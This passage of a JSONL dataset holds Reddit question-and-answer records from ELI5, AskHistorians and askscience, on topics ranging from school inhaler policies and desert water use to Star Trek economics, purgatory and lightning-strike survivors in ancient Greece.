inhaler with written authorization from the parent/guardian,\u201d ", "Zero Terrance is about control, yes, but there's another alarming factor: zero tolerance is lazy. It removes judgement and critical thinking skills, which... surprise, surprise, is a problem with a lot of kids today.\n\nI don't think this is the creation of some unified evil force, but rather the response of overwhelmed administrative staff that, due to serious lack of funding, have to manage more and more kids with less money. I pass by a high school on my way to work every day. I remember this school back when I was a kid, even though I attended another. Since the 1980s, it's doubled in size, had a metal fence out around it, and in the morning there is usually a cop car next to the front entrance, lights flashing, and two cops standing around. No one has done anything, they are just guarding. My son's school had a similar setup.\n\nMy son graduated in 2008 from another high school in the county. In order to see him or pick him up, I had to make an appointment. I am not allowed inside the building without an escort. I can't just \"show up.\" When escorted to my son's class, my ID was confiscated and I had to pick it up when I left. I also had to sign some forms. Even if I was just there to get my son for a doctors appointment. All the staff had picture ID badges that were scannable. \n\nHigh schools are turning into prisons. And are suffering overcrowding like our prisons.\n\nSo inhalers (and my son had them, like the OP, his epi pens and inhalers were in a locked storage room next to the office) are part of this prison system. Freedom of students \"might cause problems\" and \"we could get sued if someone gets hurt by taking a Motrin and then dies.\" None of these people know what a \"drug\" is. \"He could be putting weed in there and taking 2-3 marijuanas every day!! How can I tell a Tylenol from and heroin tablet? I am a principal, not a pharmacist!\"\n\nZero Tolerance is a response to fear. A lazy, dualistic, simplified wall that the staff are hiding behind. Part of me can't blame them because the standardized testing dictating their meager salaries and funding drives away decent and critical thinkers and attracts paper pushers not fit to deal with children.\n\nAnd the Stanford prison experiment is also starting to play a role. :(", "I have a Zero tolerance policy for idiocy. If my kid needed personal life saving medicine kept on his person all the time, that is exactly how it would be. End of story. ", "They're afraid that the children will abuse the drugs as a means of getting high. "]}, "title_urls": [], "selftext_urls": ["http://m.kirotv.com/news/news/national/inhaler-zero-tolerance-policy-achool-leads-12-year/ncHww/"], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Aerosol_Bomb"], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "3jqnoe", "title": "eli5:how have desert societies in africa and the middle east survived for so long, while a few months without water in the american southwest has taken a seemingly enormous toll.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3jqnoe/eli5_eli5how_have_desert_societies_in_africa_and/", "answers": {"a_id": ["curgt3q", "curh6dq", "curh8qr", "curhm7i", "curlg9p", "curptkb"], "score": [2, 8, 3, 52, 8, 2], "text": ["Ever heard the phrase little is more? The more of something you have, the less you appreciate it. Water is scarce in this semi arid and arid areas more than the south west and that's the driving force. Living in America, I have to come to realize we are such big wasters of water. The large amounts that flow out as you, for example, wait for shower water to warm up, or flush a second time cause the poop didn't all go in the first flush, are astonishing. \nThe residents of these regions have learned to do so much with such little amounts of water. Dishes can be washed and then the same water used to water plants or feed animals. \n\n", "In addition to the other reply. Most of the desert dwelling people of Africa and the Middle east also live along the major rivers like the Nile and the Euphrates. The other areas have very sparse populations and live off very little water from sources like an oasis and as the other poster said they don't waste it.", "As someone who lives in one.\nCurrently with the availability of electricity and modern technology we can desalinate sea water and hence we effectively have an unlimited supply as long as we have the fuel to power the desalination plants. A modern addition to this is sewage treatment. In the old days however we dug wells in the ground and used that as a source of water both for human consumption and farming. Also we are brought up to appreciate that water is a scarce resource and treat it as such.", "The big problem with the droughts in California is that they have created an area with an artificially abundant source of water. People in California have been living for years as if the state were not largely very arid, pumping water in from the rest of the state to support agriculture, golf courses and general wastefulness by people in general. Now that the parts of the state that supply this water are not getting replenished, reservoirs and ground water sources are quickly drying up as the need for all this water in areas that we've created continue to need water that just isn't there.\n\nIn desert societies, they existed before the technology existed to bring large amounts of water from elsewhere was invented. Their culture, architecture, and city planning has evolved without access to large amounts of water, so they are (generally) much more sustainable and realistic in regards to their water usage.", "Look at LA. \n\nNow look at Mozambique.\n\nWhich place has created a need for more water than they actually have access to, and which place has made the best of the little water they have?", "The American Southwest should be barren and empty. Most desert nations live within their means, California does not."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "5849s7", "title": "Did people in 1666 have any moral panics about it being \"the year of Satan\"?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5849s7/did_people_in_1666_have_any_moral_panics_about_it/", "answers": {"a_id": ["d8xqeuv", "d8xugrn"], "score": [74, 55], "text": ["Followup question: what about people in 666?", "Follow up: When did 666 become widely seen as The Devil's Number?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3h4k9k", "title": "why do people hate floyd mayweather but praise mike tyson?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3h4k9k/eli5why_do_people_hate_floyd_mayweather_but/", "answers": {"a_id": ["cu45r6j", "cu46qff", "cu479f6", "cu49zw9", "cu4bkma", "cu4coyb", "cu4nay5"], "score": [37, 8, 16, 5, 3, 3, 3], "text": ["Not super knowledgeable about Boxing by any means, but basically I think it comes down to two things as to why people hate Mayweather. \n\nFirst of all he's a very technical boxer. He doesn't really have flashy knockouts, he just has great defense and knows how to win fights by going to the judges. This makes his fights boring for non hardcore boxing fans (see Pacquaio Mayweather).   \n\nSecondly many consider him to be somewhat of a punk. Out of the ring he makes a lot of questionable choices. Also, he doesn't know how to [read](_URL_0_). \n\nTyson is the opposite in most senses. He was just raw force. His fists blew people up. His knockout highlights are some of the most intense you'll see. Combine that with the fact the he's seen as somewhat of a humble guy, and you can see why people like him\n\nTyson had a rough life growing up. He grew up with a speech impediment and was kind of a scrawny kid. For him boxing was a way to gain confidence and really get out of that rough life.\n\nThat's my two cents anyways.  \n\nBonus: [Great piece on Tyson's early life] (_URL_1_)", "-  Tyson had a fall from grace (financially) and Mayweather hasn't. It makes him more relatable not this uber rich multi millionaire.  \n-  Mayweather has had domestic violence problems.\n-  Many pockets of mainstream America do not like boisterous, cocky, black men who talk trash (see: Richard Sherman)", "Because how many god damn mysteries has Mayweather solved??", "You guys don't remember when Tyson was getting out of jail for rape and trying to climb back into the public eye. He was generally hated and disliked while still being a fascinating public person. \n\nSince retiring completely, losing his daughter who died in a treadmill accident and becoming a guy who pokes fun at his perceived persona via movie roles etc. he's become a loveable guy. ", "One word; Excitement!  \n\nI've never fell asleep watching a Tyson fight, I've now done this twice during Mayweather fights, why I keep forking out money for his borefests I'll never know.", "Tyson was just as hated for a while but he's spent the last decade or so humanizing himself and it's managed to really turn around public opinion.", "\"I'll fuck you til you love me faggot\"-Mike Tyson\n\nCome on. How can you hate someone like that?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=N4_mWhcfIh0", "http://nymag.com/news/features/mike-tyson-2013-10/"], [], [], [], [], [], []]}
{"q_id": "3i2cds", "title": "does this phenomenon happen to anyone else? does anyone know what it's called?", "selftext": "I can think of something random and later on, I see/hear something related to it. For example, I could be thinking of a funny video I saw, then much later, I happen to stumble upon it by chance. This happens to me so often that I'm not surprised by it anymore.\n\nHowever, I don't know what this is called, nor do I even know if it happens to anyone else. If you know anything about it, please tell me!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3i2cds/eli5_does_this_phenomenon_happen_to_anyone_else/", "answers": {"a_id": ["cucojdv", "cucojww", "cucokxo", "cucxouf"], "score": [32, 5, 8, 2], "text": ["This sounds similar to the Baader-Meinhof Phenomenon, or the frequency illusion.  Wikipedia defines it thusly: \"The illusion in which a word, a name or other thing that has recently come to one's attention suddenly seems to appear with improbable frequency shortly afterwards\"\n\nSource: _URL_0_", "[Right here, scroll down to \"Frequency Illusion\".](_URL_0_)\n\nColloquially, it's called the Baader-Meinhof effect.", "It's a type of cognitive bias (brain hiccup) that comes from our natural pattern spotting abilities. Our brains are trained to spot patterns and assign meaning to them.\n\n*e.g. Dave ate red berries yesterday. Dave died today. I should not eat red berries today.*\n\nBut sometimes that pattern spotting is meaningless.\n\n*e.g. Joe was born in February. Joe is compassionate. All people born in February are compassionate.*\n\nYou think of a song or a film and later that day you hear the song or someone mentions the film. Your brain gets a little jolt of happiness at spotting a pattern and you remember it. But you don't remember all of the times you were humming  song and it didn't come on the radio. Those are non-moments.\n\nIt's coincidence and cognitive bias for patterns. Still fun though.", "WHAT THE FUCK! I literally told my friend this yesterday that this happens to me so frequently!?  Like I'd think about an episode of family guy then later that day I'll turn the TV on and boom the exact episode of family guy I thought of earlier but I hardly ever watch TV. I remember being a kid and this happening. But it doesn't only just happen with TV, I'd sometimes be thinking to myself and within a couple minutes my mum, dad, brother or whoever will repeat almost word for word a sentence that I said to myself, like \"I wonder what time dads home\" then my mum would ask if I knew when my dad would be home within an hour. It's creepy as hell and it happens every other day. As I'm getting older this shit is begin to happen more frequently. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/List_of_cognitive_biases#Frequency_illusion"], ["https://en.wikipedia.org/wiki/List_of_cognitive_biases#Frequency_illusion"], [], []]}
{"q_id": "1p4owt", "title": "the difference between a titan and a god in greek mythology", "selftext": "Like Kronos was the Father of Zeus but to me they both seem pretty all powerful and are both depicted as anthropomorphic. Am I missing something or is there really no difference? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1p4owt/eli5the_difference_between_a_titan_and_a_god_in/", "answers": {"a_id": ["ccypf78", "ccyv33b"], "score": [3, 2], "text": ["You actually are right... In Greek mythology, the Titans were descendants of Uranus and Gaia. They were immortal beings with great power to rule over nature. They were the gods of their time. Eventually their children's children became the Olympians and fought the Titans for control and won... I think it was called the Titanomachy, or War of the Titans. \n\nSo essentially the Olympians (Zeus, Poseidon, Hades, etc) are a younger generation of Titans who fought and defeated their elders for control... ", "People here are forgetting titans like Prometheus who was Zeus' cousin. The line between the titans and the gods isn't so sharp as a single generational line.\n\nThere is a group of gods who are the children and grandchildren of Cronus and Rhea. But there are also gods like Aphrodite who are unrelated to them.\n\nYou could make the argument that gods are any divinities who allied with Zeus I'm the war. But there are several who joined Zeus but were still considered titans.\n\nShort answer? I would say the titans were all the divine beings who were human in form descended from Gaea and Uranus. The gods were any member of the current ruling cabal of titans."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "evdvux", "title": "Star Trek aired in the mid 60s, when audiences were locked in a proxy conflict with communist powers and in danger of experiencing nuclear war with them. How politically did American viewers interpret Roddenberry's vision of post-scarcity communism? Were networks concerned it was too \"Red\"?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/evdvux/star_trek_aired_in_the_mid_60s_when_audiences/", "answers": {"a_id": ["ffwxi1u", "ffxxqwz"], "score": [18, 70], "text": ["And as a follow-up, do we have any records of how people the other side of the iron curtain viewed a show with a portayal of mixed cast like that as well?", "Viewers of the original series in the 1960s likely wouldn\u2019t have been bothered by the show\u2019s post scarcity communism, because in the 1960s edition the idea of the Federation as a post scarcity communist society hadn\u2019t been invented yet. \n\nThe original series isn\u2019t exactly replete with references to money. But they\u2019re common enough that no one would think the show is about a communist society. Just as a few examples: \n\nIn *The Trouble with Tribbles* Cyrano Jones is trader who among other things sells exotic curiosities like Tribbles, Spican Flame Gems, and Antarean Glow Water. And as a Starfleet officer Uhura has no problem coming up with ten credits to buy a Tribble. Nor does the Federation barkeep have problems with the idea of buying tribbles, he does object to Jones\u2019 price however.\n\nIn *Arena* Kirk notices a \u201cfortune\u201d in diamonds on the planet. \n\nIn *Mudd\u2019s Women* we have another trader, and con artist. Among Mudd\u2019s prior federation convictions is currency counterfeiting. Much of the plot revolves around Kirk negotiating the purchase of dilithium from the local miners, Federation citizens. As Kirk says, \u201cI am authorized to pay an appropriate price.\u201d Kirk is then surprised when the miners want to barter rather than receive money.\n\nIn *The Apple* Kirk and Spock discuss the costs of creating an officer, with Federation investment into Spock\u2019s training coming to twenty two thousand two hundred \\[Interrupted\\] (presumably credits). \n\nIn *The Doomsday Machine* Kirk tells Scotty he \u201cearned his salary this week.\u201d He tells the exact same thing to Chekhov in *Who Mourns for Adonis*. \n\nIt\u2019s certainly possible that Gene Roddenberry was already thinking of the Federation as a communist society, but it wouldn\u2019t have been clear to a casual viewer. Viewers would see a show where characters buy and attempt to buy various goods. Where multiple merchants exist. Where the characters refer to money, currency, fortunes, salaries, and investments. \n\nThe earliest references to the communistic nature of the Federation (as far as I can find) is in the 1986 movie *Star Trek IV: The Voyage Home* and the 1988 Next Gen first  season episodes *The Last Outpost* and *The Neutral Zone*. Even the Animated Series had references to what appears to be a capitalistic economy/society."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "l0vru", "title": "Thumb anatomical directions?", "selftext": "Which directions do you move the thumb, specifically, in flexion/extension and abduction/adduction. I understand opposition, but the other four directions have me very confused, and I found conflicting information on Google. Any thumb experts out there?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/l0vru/thumb_anatomical_directions/", "answers": {"a_id": ["c2ows58", "c2oyqdj", "c2ows58", "c2oyqdj"], "score": [2, 2, 2, 2], "text": ["flexion = toward palm \n\nextension = toward back of hand\n\nabduction = away from fingers\n\nadduction = toward fingers", "The thumb is rotated 90 degrees to the other structures of the hand, and so are its anatomical terms. \n\nFlexion and extension describe movement of the thumb within the plane of the hand (i.e. movement of your thumb with your hand pressed flat on a table). Flexion is movement of your thumb toward the midline of the hand and extension is movement away from the midline. In this case flexion of the thumb is an equivalent motion to adduction of the index finger and extension is the equivalent of abduction of the index finger. However it is important to note that due to range of motion, flexion of the thumb will move is slightly out of the plane of the hand as it folds into the palm during maximal flexion.\n\nAbduction describes movement of the thumb away from the plan of the hand (from anatomical positon this would be anterior movement). Adduction describes movement towards the plane of the hand.", "flexion = toward palm \n\nextension = toward back of hand\n\nabduction = away from fingers\n\nadduction = toward fingers", "The thumb is rotated 90 degrees to the other structures of the hand, and so are its anatomical terms. \n\nFlexion and extension describe movement of the thumb within the plane of the hand (i.e. movement of your thumb with your hand pressed flat on a table). Flexion is movement of your thumb toward the midline of the hand and extension is movement away from the midline. In this case flexion of the thumb is an equivalent motion to adduction of the index finger and extension is the equivalent of abduction of the index finger. However it is important to note that due to range of motion, flexion of the thumb will move is slightly out of the plane of the hand as it folds into the palm during maximal flexion.\n\nAbduction describes movement of the thumb away from the plan of the hand (from anatomical positon this would be anterior movement). Adduction describes movement towards the plane of the hand."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4wyk7r", "title": "why do led torches have multiple small led's instead of one big one?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4wyk7r/eli5_why_do_led_torches_have_multiple_small_leds/", "answers": {"a_id": ["d6az8fy", "d6azp0w", "d6bez51"], "score": [19, 16, 3], "text": ["Some of them (the nice, expensive ones) do have a single LED, such as Mag-Lite.  Low-output LEDs are much less expensive to produce, so cheap flashlights often will have 25-50 of them (a dead giveaway is their very bluish tint); their overall light output is typically less than those with a single LED.  When purchasing, look for how many lumens the flashlight produces, not how many LEDs; more lumens = brighter.", "Mostly because of heat.  LEDs are _really sensitive to heat_.  If you make a large LED then you can't put in heat dissipation in relation to heat generation in ways that don't lead to premature burn out.  By having lots of small ones you can put room for dissipating heat between each LED.", "A single large LED gets much hotter than several smaller LEDs. Much easier to handle the heat dissipation. \n\nTake a look at this guy. He has massive LEDs, but he attaches them to a heat sink probably 5x the size of the LED. The heat is insane _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.youtube.com/watch?v=-JVqRy0sWWY"]]}
{"q_id": "4opi3t", "title": "how bars or clubs charge huge crowds of people randomly ordering drinks.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4opi3t/eli5_how_bars_or_clubs_charge_huge_crowds_of/", "answers": {"a_id": ["d4ehzed", "d4ei35i", "d4eieo1", "d4eimmz"], "score": [2, 14, 3, 2], "text": ["Typically these clubs are only hiring the cream of the crop bartenders who can keep track of this many customers. Your local barkeep can't but these are the Top Guns of the bartender world.", "people either start a tab or they pay up front. it's part of a bartender's job to make sure they get paid for their goods/services. i'm sure some bars and bartenders will allow regulars to get away without paying upfront in certain scenarios, but that really depends on the business and employees. ", "When you order a drink, you either open a tab (usually they keep your card) and give them your name each time you order, or you pay with each drink. If you opened a tab, you have to come back to the bar before leaving if you want your card back, or if they don't keep your card they just charge you at the end of the night if you don't close out and add a tip, but that's less common. ", "Typically, likes others have said, you open a tab with your credit card. Then when ordering, you tell them your last name and they charge it to that account and then you close it out before you leave. There's no way a bartender could remember names like that in a packed place."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3k8bsz", "title": "How many British citizens fled the UK during the start of WW2?", "selftext": "As the German bombing of England started in 1940, roughly how many British people fled the country to elsewhere? And where did they go?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3k8bsz/how_many_british_citizens_fled_the_uk_during_the/", "answers": {"a_id": ["cuwoltl"], "score": [2], "text": ["I can't find any record of any significant number of British adults \"fleeing\" the UK during WW2. In fact, the UK had a net gain of adult males emigrating to the UK from Ireland and the British empire to do wartime work. There were also ten of thousands of refugees or displaced people from continental Europe living (or interned) in the UK.\n\nThe two significant groups of British people who left the UK during WW2 were child evacuees and wartime brides. A plan to evacuate tens of thousands of children to Canada, Australia New Zealand and South Africa was cancelled after only around 2,500 evacuations due to the sinking of a ship carrying nearly a hundred children. Though by the end of the war, around 14,000 children had been evacuated privately to relatives or foster homes abroad, mostly to Canada and the USA.\n\nWar brides and their children also left the UK from 1942 onwards, though the vast majority left after the end of WW2. I don't have any figures to hand.\n\nThere was significant urban to rural migration within the UK, as well as evacuation of coastal towns on the south and east coast of England - around 3.75 million civilians were displaced at some point during the course of the war.\n\nThere is a possibility that people fled from Northern Ireland to the Republic of Ireland during the war, but those people would have been Irish citizens and likely identified as Irish.\n\nSource: *Wartime: Britain 1939-1945*, Gardiner 2004"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7abwr4", "title": "What did \"tall, dark and handsome\" mean? When did it come into vogue? What traits did \"dark\" refer to?", "selftext": "Was 'dark' referring to the person's appearance or ethnicity? If not, did it have to do with the person's aesthetics in any way?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7abwr4/what_did_tall_dark_and_handsome_mean_when_did_it/", "answers": {"a_id": ["dp9cd8b"], "score": [914], "text": ["We can start out by thinking about the 1941 movie *Tall, Dark, and Handsome*. There are a couple possibilities - the film was popular enough to make the phrase into a cliche, or it was a cliche already and the title was playing off of it. While the film seems to have been reasonably popular, this seems to be a case of the latter. \n\nThe Oxford English Dictionary has citations of the phrase going back to 1906, but their list isn't exhaustive, and you can find the phrase in sources like the New York Times, the LA Times, and the Washington Post in the 19th century, back to the 1860s ([here's a wedding announcement from 1888](_URL_0_) in the NY Times that uses the phrase).\n\nInterestingly, that Times citation is describing a woman, even though the cliche today is men-oriented (the OED's listing of a phrase even says \"denoting a type of attractive man\"), and other usages seem to suggest it was gender-neutral early on. The point where it became a cliche, and where it became gendered, appears to be with Mae West's usage of it to describe Cary Grant in the 1933 film *She Done Him Wrong* - a quote giving this explanation is specifically highlighted in the OED's listing. The movie was a hit (it also had Mae West's line \"Why don't you come up some time and see me?\" which made AFI's 100 Years, 100 Movie Quotes list), so it's not unbelievable, and Brewer's Dictionary of Modern Phrase  &  Fable (John Ayto and Ian Crofton, 2006) dates its status as a stock phrase to the 1930s, so that lines up.\n\nAs to the meaning, \"tall\" and \"handsome\" seem pretty self-explanatory, but \"dark\" is ambiguous. The film *Tall, Dark, and Handsome* starred Cesar Romero, who had Cuban and Spanish parents, and the NY Times citation I link above is also describing a Cuban woman. The Washington Post [used it in 1900](_URL_1_) to describe a Spaniard, and [again in 1909](_URL_2_) to describe an Italian man. That suggests there may be some \"ethnic\" component to it. However, Cary Grant was described that way, and he was a British-born actor. He was indeed tall and handsome, but his \"darkness\" seems to just be his hair and eye color. Given that he seems to be the cliche-making use of the phrase, it would suggest that that's what people consider \"dark\" in using the phrase, though dark hair and eyes often correlate with Hispanic ancestry anyway."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://i.imgur.com/S40n4WL.png", "https://i.imgur.com/yk2b7Jq.png", "https://i.imgur.com/37Vro94.png"]]}
{"q_id": "e2sjw5", "title": "how do magnetics remove tape footage?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e2sjw5/eli5_how_do_magnetics_remove_tape_footage/", "answers": {"a_id": ["f8xcoxd", "f8xdcmt"], "score": [4, 23], "text": ["Information on digital tape is stored magnetically -- that is, each direction the magnetic regions can point is either a one or a zero.\n\nExposing the tape to a strong magnet scrambles these domains, erasing the data.", "Imagine pencils arranged in a certain way to say something- like a big letter A. That letter A represents the data on the tape. When you run a magnet over the tape, its like swiping your hand through that letter A of pencils. The pencils go every which way, and you won't know what it was by looking at it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "nx0y8", "title": "purgatory", "selftext": "The Catholic beliefs in particular. \n\nI'm still very unclear on whether it's a sort of jail sentence for sins, a permanent destination for the semi-moral, or neither.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/nx0y8/eli5_purgatory/", "answers": {"a_id": ["c3cls3y", "c3cluem", "c3cp7np", "c3cls3y", "c3cluem", "c3cp7np"], "score": [2, 10, 7, 2, 10, 7], "text": ["Heaven's waiting room.", "Not quite either of those.\n\nThe Catholic position is basically this:\n\nHeaven is a place for people who are in a perfect friendship with God.  Hell is a place for people who chose to reject God.  Purgatory is separate from both of these; it's for people who didn't completely reject God but also weren't perfect.  It's a place where there's nothing to do but perfect your friendship with God, and when you are ready, you leave and go to heaven.\n\n  \n\nExplained for grown-ups: [**Catechism of the Catholic Church** on life after death](_URL_0_)", "Like you're 5:  \n  \nSay you play high school football. It's the Homecoming game, and you're taking a really pretty girl to the dance after. You go play football all night, getting muddy and sweaty and dirty. But are you going to take the pretty girl to the dance a mess? Nope. You're going to the locker-room to get showered and cleaned up to impress your date.  \n  \nThat's how my mom explained it to me when I was a kid. You live life (the football game), purgatory (the locker-room) is where you're cleansed, and heaven/God is the homecoming dance/date you're getting \"perfect\" for.", "Heaven's waiting room.", "Not quite either of those.\n\nThe Catholic position is basically this:\n\nHeaven is a place for people who are in a perfect friendship with God.  Hell is a place for people who chose to reject God.  Purgatory is separate from both of these; it's for people who didn't completely reject God but also weren't perfect.  It's a place where there's nothing to do but perfect your friendship with God, and when you are ready, you leave and go to heaven.\n\n  \n\nExplained for grown-ups: [**Catechism of the Catholic Church** on life after death](_URL_0_)", "Like you're 5:  \n  \nSay you play high school football. It's the Homecoming game, and you're taking a really pretty girl to the dance after. You go play football all night, getting muddy and sweaty and dirty. But are you going to take the pretty girl to the dance a mess? Nope. You're going to the locker-room to get showered and cleaned up to impress your date.  \n  \nThat's how my mom explained it to me when I was a kid. You live life (the football game), purgatory (the locker-room) is where you're cleansed, and heaven/God is the homecoming dance/date you're getting \"perfect\" for."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.scborromeo.org/ccc/p123a12.htm"], [], [], ["http://www.scborromeo.org/ccc/p123a12.htm"], []]}
{"q_id": "fopoce", "title": "Would a Survivor of a Lightning Strike in Ancient Greece Just be Considered Lucky, or Would they be Ostracized for Having Somehow Offended Zeus?", "selftext": "This could also go for other cultures where the lightning bolt was the particular weapon of the key god", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/fopoce/would_a_survivor_of_a_lightning_strike_in_ancient/", "answers": {"a_id": ["flgv5t2", "flh4bhy", "flhjflw"], "score": [1163, 354, 67], "text": ["There is always more to be said, and hopefully someone knowledgeable will stop by to say it. But, while you are standing by for fresh responses, it is worth pointing out that this question came up here a while ago and got some great answers in a thread led by u/ah003. You might like to review it while you're waiting:\n\n[During the era where Zeus was the dominant God, is there any documentation of someone being struck by lightning and surviving? How would that person be treated?](_URL_0_)", "Surviving a smiting was clearly significant. Lightning - like the livers of sacrificed animals, flights of birds, the utterances of the oracles, and so many other apparent signs and omens - manifested the will of the divine. But exactly what it meant was unclear. \n\nTypically - and especially if the smitten party was important enough to spin things to his advantage - surviving a lightning strike was understood as a good thing. That great self-mythologizer Mithridates VI claimed that he had twice been struck by lightning: \n\n\"whilst he was an infant a flash of lightning burnt his cradle, but did his body no harm, and only left a little mark on his forehead, which his hair covered when he was grown a boy; and after he came to be a man, another flash broke into his bed-chamber, and burnt the arrows in a quiver that was hanging under him\" (Plutarch, *Convivial Questions* 1.6.2)\n\nThe second story, at least, is plausible enough; and we are told that the king's diviners (working none too hard) interpreted the strike as a sign that \"archers and light-armed men should win him considerable victories in his wars.\" These stories (in combination with the king's habit of indulging in gargantuan drinking bouts) won Mithridates the nickname of Dionysus (the god Dionysus had been blasted from his mother's womb by a thunderbolt of Zeus).\n\nSeveral other passages suggest that lightning strikes were viewed as a sign of divine favor. According to some myths, Hercules had been translated to the heavens by a thunderbolt. Those whose tombs were struck by lightning, accordingly, were sometimes assumed to have achieved a sort of divine status. Plutarch reports that:\n\n\"when the remains \\[of the Spartan general Lycurgus\\] were brought home, his tomb was struck by lightning, and that this hardly happened to any other eminent man after him except Euripides...The lovers of Euripides therefore regard it as a great testimony in his favor that he alone experienced after death what had earlier befallen a man \\[Hercules\\] who was most holy and beloved of the gods.\" (*Lycurgus* 31.3)\n\nOn other occasions, a lightning strike was interpreted as a warning. As a character in one of Plutarch's dialogues remarks (apparently recalling an actual incident):\n\n\"I remember here in this town lightning broke into a house, and did a great many strange things. It let the wine out of a vessel, though the earthen vessel remained whole; and falling upon a man asleep, it neither hurt him nor blasted his clothes, but melted certain pieces of money that he had in his pocket, defacing them, and made them run into a lump. Upon this he went to a philosopher, a Pythagorean, then staying in the town, and asked the reason; the philosopher directed him to some expiatory rites, and advised him to consider seriously with himself, and go to prayers.\" (*Convivial Questions*, 4.2.3)\n\nThis philosopher, at least, seems to have assumed that Zeus was displeased. The idea - also mentioned by Plutarch - that the corpses of those killed by lightning never putrefy is also susceptible to multiple interpretations. Were they blessed, or cursed?", "I would like to approach this topic *slightly* from the side, and hope to make an interesting contribution. Two **caveats** right off the bat: 1) I'm coming at this as a *natural* historian who has worked extensively with indigenous peoples in N. and central America. I am a social-ecological systems science professor, but was once a professor of indigenous studies (and in particular how plants and ceremonies structure worldviews). 2) This question would make as much sense in /r/AskAnthropology as it would here, and you'd likely get some interesting takes on a *generalizable* version of your question (\"how did pre-enlightenment cultures interpret survival of natural misadventure?\").\n\n--------------\n\nFirst, /u/toldinstone makes a very important point below: that being struck by lightning could be viewed as either good *or* bad in classical Rome and Greece, depending on outcome and professional spin. I would suggest that the idea that being *struck* by lightning as a \"bad thing to happen\" to a person is actually a pretty modern (i.e., post-Enlightenment) take on misadventure. In Western thinking since the time of Descartes (and before), there is a formalized notion of the *unitary self* being the best state a human being can be in. Disability, disfigurement, or division is a sign of both *something wrong* and also divine misfavor. This likely has significant roots in pre-Enlightenment thinking in some places, but it has been expressed (and studied) *ad nauseum* in the last few hundred years. \n\nThe best exploration of this idea is, in my opinion, in Michel Foucault's first book, *Folie et D\u00e9raison: Histoire de la folie \u00e0 l'\u00e2ge classique*. The book is available in English as well, under the title *Madness and Civilization: A History of Insanity in the Age of Reason*, and makes the point that many medical conditions which were interpreted as making someone \"holy\" or \"sacred\" in pre-Enlightenment thinking became through objectification a reason for separation and dismissal in the 17th C (his \"The Great Confinement\"). In his reading of history and philosophy, someone who was \"mad\" in medieval times would be seen as an uncomfortable, distorted, but necessary mirror of normal society, while someone similarly mad post-Enlightenment would be considered mentally ill and put away in an institution to protect them (and more importantly society) from their influence.\n\nThere is a parallel in historical and anthropological studies of N. American indigenous societies which bears on your question. At its most general, *many* (but certainly not all) American Indian  &  First Nations (AI) peoples viewed/view sickness and difference (whether physical or mental) as a blessing rather than a curse. As a boon rather than as a punishment. For example, early European liaisons to (and observers of) Eastern Woodland cultures of N. America noted that healers/doctors/spiritual leaders were often crippled or \"mad,\" and that they believed that physical and mental infirmity was the price one paid to heal someone else. So, Henry Timberlake observed an old woman in Chilhowee in the mid 18th C. who became \"more and more crippled by rheumatism\" with every healing ceremony she conducted for the Cherokee of her community. The more bent and ugly she became, the more powerful she was considered to be, and she was the most revered person in the community. This is also well documented in the excellent *Cherokee Women: Gender and Culture Change, 1700-1835 (Indians of the Southeast)*, in which Theda Perdue also points out that transexuals, homosexuals, the physically maimed, and the mentally ill (or different) were generally considered sacred people that had duties to their communities but were held in great reverence.\n\nHow does this relate to being struck by lightning? Although I haven't seen any references from E. Woodland lit on lightning, it's an incredibly common topic (both historically and now) in Plains and Western US/Canada native culture. The *heyokha* of the Lakota Sioux were a sacred clown society chosen by thunder/lightning beings to be of service to their people. Sometimes this was through surviving a lightning strike, or sometimes this was through personal revelation (during a coming of age ceremony). It was generally held that the punishment for being a *bad* sacred clown was being killed by lightning strike. So, surviving lightning was to be chosen for special service as the \"mad mirror\" to normality, and the price for not doing one's service was to die by lightning. Personal accounts of this from the 19th C. are in *The Sixth Grandfather: Black Elk's Teachings Given to John G. Neihardt* (1985, ed. DeMallie) from University of Nebraska Press; there are more scholarly discussions in the book *Divine Play, Sacred Laughter, and Spiritual Understanding* (2005) from Palgrave Macmillan, particularly Laude's chapter 7 titled \"Thundering Clowns.\" \n\nI have some personal experience with this as well (more than 20 years ago). I was invited while doing field work to return the following year and participate in a community healing 